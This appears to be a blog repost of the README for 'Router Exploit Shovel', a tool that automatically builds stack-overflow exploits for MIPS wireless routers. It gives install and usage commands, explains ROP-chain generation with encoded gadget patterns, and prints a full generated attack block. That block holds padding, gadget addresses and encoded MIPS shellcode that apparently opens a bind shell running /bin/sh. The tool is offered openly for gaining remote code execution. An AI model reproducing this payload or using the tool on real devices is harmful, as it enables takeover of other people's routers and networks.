Exploitation, Hacking

Router Exploit Shovel – Automated Application Generation for Stack Overflow Types on Wireless Routers

Router exploit shovel is an automated application generation tool for stack overflow types on wireless routers. The tool implements the key functions of exploits, it can adapt to the length of the data padding on the stack, generate the ROP chain, generate the encoded shellcode, and finally assemble them into a complete attack code. The user only needs to attach the attack code to the overflow location of the POC to complete the Exploit of the remote code execution.

The tool supports MIPSel and MIPSeb.Run on Ubuntu 16.04 64bit.

Install

Make sure you have git, python3 and setuptools installed. Download source code from our Github:

$ git clone https://github.com/arthastang/Router-Exploit-Shovel.git

Set up environment and install dependencies:

$ cd Router-Exploit-Shovel/ $ python3 setup.py install

Usage

$ python3 Router_Exploit_Shovel.py -h Usage: Router_Exploit_Shovel.py [options] Options: -h, --help show this help message and exit -b BINARYFILEPATH, --binaryFile=BINARYFILEPATH input binary file path --ba=BINARYBASEADDR, --binaryBaseAddr=BINARYBASEADDR input binary base address,default=0x00400000 -l LIBRARYFILEPATH, --libraryFile=LIBRARYFILEPATH input libc file path --la=LIBRARYBASEADDR, --libraryBaseAddr=LIBRARYBASEADDR input library base address,default=0x2aae2000 -o OVERFLOWFUNCTIONPOINTOFFSET, --overflowPoint=OVERFLOWFUNCTIONPOINTOFFSET input overflow function point offset --arch=ARCH input architecture of elf files,[little] or [big],default=big

For example:

$ python3 Router_Exploit_Shovel.py -b test_binaries/mipseb-httpd -l test_binaries/libuClibc-0.9.30.so -o 0x00478584

Screenshots

screenshot.jpg

Code structure

--Router_Exploit_Shovel.py #Startup script --databases/ |---ROP_patterns/ #YAML file of ROP patterns  |---shellcodes/ #YAML file of shellcodes --example/ #Nday vulnerabilities, full report and exploit code --results/ |---ROP_gadgets/ #ROP gadgets generating results  |---attackBlock.txt #Attack block generating results --ropper/ #Modified ropper module to get all gadgets --filebytes/ #Filebytes module to load ELFs --router_exp_shovel/ #Main module  |---offset_calculator/ #Calculate padding size  |---ROP_maker/ #Make ROP chains |---shellcode_maker/ #Make shellcodes --qemuTestEnvironment/ #MIPS run-environment for router exploitation

Also read: SysmonX – An Augmented Drop-In Replacement of Sysmon

ROP chain generation

This tool uses pattern to generate ROP chains. Extract patterns from common ROP exploitation procedure. Use regex matching to find available gadgets to fill up chain strings. Base64 encoding is to avoid duplicate character escapes. For example:

chainString: (gadget2)(gadget1)BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB(sleep)CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC(call_code)DDDD(stack_gadget)\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44 gadget1: KC4qKW1vdmUgXCR0OVwsIFwkczE7IGx3IFwkcmFcLCAweDI0XChcJHNwXCk7IGx3IFwkczFcLCAweDIwXChcJHNwXCk7IGx3IFwkczBcLCAweDFjXChcJHNwXCk7KC4qKTsganIgXCR0OTsgYWRkaXUgXCRzcFwsIFwkc3BcLCAweDI4Ow== #gadget1: (.*)move \\$t9\\, \\$s1; lw \\$ra\\, 0x24\\(\\$sp\\); lw \\$s1\\, 0x20\\(\\$sp\\); lw \\$s0\\, 0x1c\\(\\$sp\\);(.*); jr \\$t9; addiu \\$sp\\, \\$sp\\, 0x28;  gadget2: KC4qKWFkZGl1IFwkYTBcLCBcJHplcm9cLCAxOyBtb3ZlIFwkdDlcLCBcJHMxOyBqYWxyIFwkdDk7 #gadget2: (.*)addiu \\$a0\\, \\$zero\\, 1; move \\$t9\\, \\$s1; jalr \\$t9; call_code: KC4qKW1vdmUgXCR0OVwsIFwkczI7IGphbHIgXCR0OTs= #call_code: (.*)move \\$t9\\, \\$s2; jalr \\$t9; stack_gadget: KC4qKWFkZGl1IFwkczJcLCBcJHNwXCwgMHgxODsoLiopbW92ZSBcJHQ5XCwgXCRzMDsgamFsciBcJHQ5Ow== #stack_gadget: (.*)addiu \\$s2\\, \\$sp\\, 0x18;(.*)move \\$t9\\, \\$s0; jalr \\$t9;

Attackblocks

You can get attackblocks generated in results/attackBlocks.txt. Such as:

attackBlock = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x2a\xb3\x7c\x60\x2a\xb2\xbd\xfcBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\x2a\xb3\x5c\xa0CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\x2a\xb0\x09\x38DDDD\x2a\xaf\x76\x68\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99\x27\xb2\x05\x4b\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1\x02\x2a\x18\x26\xae\x43\xff\xc1\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d\x7a\x69\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01\x01\x0c\x24\x0f\x73\x50\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c"

Dependencies

Download Router Exploit Shovel here – https://github.com/arthastang/Router-Exploit-Shovel

Source : Haxf4rall

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